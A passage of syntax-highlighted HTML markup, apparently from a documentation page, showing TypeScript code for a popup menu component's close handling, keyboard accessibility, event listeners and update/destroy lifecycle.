class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003eclose\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Handle Close Query State\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"kr\"\u003econst\u003c/span\u003e \u003cspan class=\"nx\"\u003ecloseQueryString\u003c/span\u003e: \u003cspan class=\"kt\"\u003estring\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003eargs\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003ecloseQuery\u003c/span\u003e \u003cspan class=\"o\"\u003e===\u003c/span\u003e \u003cspan class=\"kc\"\u003eundefined\u003c/span\u003e \u003cspan class=\"o\"\u003e?\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;a[href], button\u0026#39;\u003c/span\u003e \u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"nx\"\u003eargs\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003ecloseQuery\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kr\"\u003econst\u003c/span\u003e \u003cspan class=\"nx\"\u003eclosableMenuElements\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003eelemPopup\u003c/span\u003e\u003cspan class=\"o\"\u003e?\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003equerySelectorAll\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003ecloseQueryString\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003eclosableMenuElements\u003c/span\u003e\u003cspan class=\"o\"\u003e?\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eforEach\u003c/span\u003e\u003cspan class=\"p\"\u003e((\u003c/span\u003e\u003cspan class=\"nx\"\u003eelem\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eelem\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003econtains\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eevent\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003etarget\u003c/span\u003e \u003cspan class=\"kr\"\u003eas\u003c/span\u003e \u003cspan class=\"nx\"\u003eNode\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e \u003cspan class=\"nx\"\u003eclose\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e})\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Keyboard Interactions for A11y\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"kr\"\u003econst\u003c/span\u003e \u003cspan class=\"nx\"\u003eonWindowKeyDown\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eevent\u003c/span\u003e: \u003cspan class=\"kt\"\u003eKeyboardEvent\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"k\"\u003evoid\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003epopupState\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eopen\u003c/span\u003e \u003cspan class=\"o\"\u003e===\u003c/span\u003e \u003cspan class=\"kc\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Handle keys\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"kr\"\u003econst\u003c/span\u003e \u003cspan class=\"nx\"\u003ekey\u003c/span\u003e: \u003cspan class=\"kt\"\u003estring\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003eevent\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003ekey\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// On Esc key\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003ekey\u003c/span\u003e \u003cspan class=\"o\"\u003e===\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;Escape\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003eevent\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003epreventDefault\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003etriggerNode\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003efocus\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003eclose\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// On Tab or ArrowDown key\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"kr\"\u003econst\u003c/span\u003e \u003cspan class=\"nx\"\u003etriggerMenuFocused\u003c/span\u003e: \u003cspan class=\"kt\"\u003eboolean\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003epopupState\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eopen\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e \u003cspan class=\"nb\"\u003edocument\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eactiveElement\u003c/span\u003e \u003cspan class=\"o\"\u003e===\u003c/span\u003e \u003cspan class=\"nx\"\u003etriggerNode\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003etriggerMenuFocused\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003ekey\u003c/span\u003e \u003cspan class=\"o\"\u003e===\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;ArrowDown\u0026#39;\u003c/span\u003e \u003cspan class=\"o\"\u003e||\u003c/span\u003e \u003cspan class=\"nx\"\u003ekey\u003c/span\u003e \u003cspan class=\"o\"\u003e===\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;Tab\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003efocusableAllowedList\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003elength\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003efocusablePopupElements\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003elength\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003eevent\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003epreventDefault\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003efocusablePopupElements\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e].\u003c/span\u003e\u003cspan class=\"nx\"\u003efocus\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Event Listeners\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"k\"\u003eswitch\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eargs\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eevent\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ecase\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;click\u0026#39;\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003etriggerNode\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eaddEventListener\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;click\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003etoggle\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kc\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nb\"\u003ewindow\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eaddEventListener\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;click\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003eonWindowClick\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kc\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ebreak\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ecase\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;hover\u0026#39;\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003etriggerNode\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eaddEventListener\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;mouseover\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003eopen\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kc\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003etriggerNode\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eaddEventListener\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;mouseleave\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"p\"\u003e()\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"nx\"\u003eclose\u003c/span\u003e\u003cspan class=\"p\"\u003e(),\u003c/span\u003e \u003cspan class=\"kc\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ebreak\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ecase\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;focus-blur\u0026#39;\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003etriggerNode\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eaddEventListener\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;focus\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003etoggle\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kc\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003etriggerNode\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eaddEventListener\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;blur\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"p\"\u003e()\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"nx\"\u003eclose\u003c/span\u003e\u003cspan class=\"p\"\u003e(),\u003c/span\u003e \u003cspan class=\"kc\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ebreak\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ecase\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;focus-click\u0026#39;\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003etriggerNode\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eaddEventListener\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;focus\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003eopen\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kc\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nb\"\u003ewindow\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eaddEventListener\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;click\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003eonWindowClick\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kc\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ebreak\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003edefault\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ethrow\u003c/span\u003e \u003cspan class=\"k\"\u003enew\u003c/span\u003e \u003cspan class=\"nb\"\u003eError\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"sb\"\u003e`Event value of \u0026#39;\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"nx\"\u003eargs\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eevent\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"sb\"\u003e\u0026#39; is not supported.`\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nb\"\u003ewindow\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eaddEventListener\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;keydown\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003eonWindowKeyDown\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kc\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Render popup on initialization\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nx\"\u003erender\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Lifecycle\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003eupdate\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003enewArgs\u003c/span\u003e: \u003cspan class=\"kt\"\u003ePopupSettings\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003eclose\u003c/span\u003e\u003cspan class=\"p\"\u003e(()\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003eargs\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003enewArgs\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003erender\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003esetDomElements\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e})\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003edestroy() {\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Trigger Events\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nx\"\u003etriggerNode\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eremoveEventListener\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;click\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003etoggle\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kc\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003etriggerNode\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eremoveEventListener\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;mouseover\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003eopen\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kc\"\u003etrue\u003c/span\u003e\u003cspan 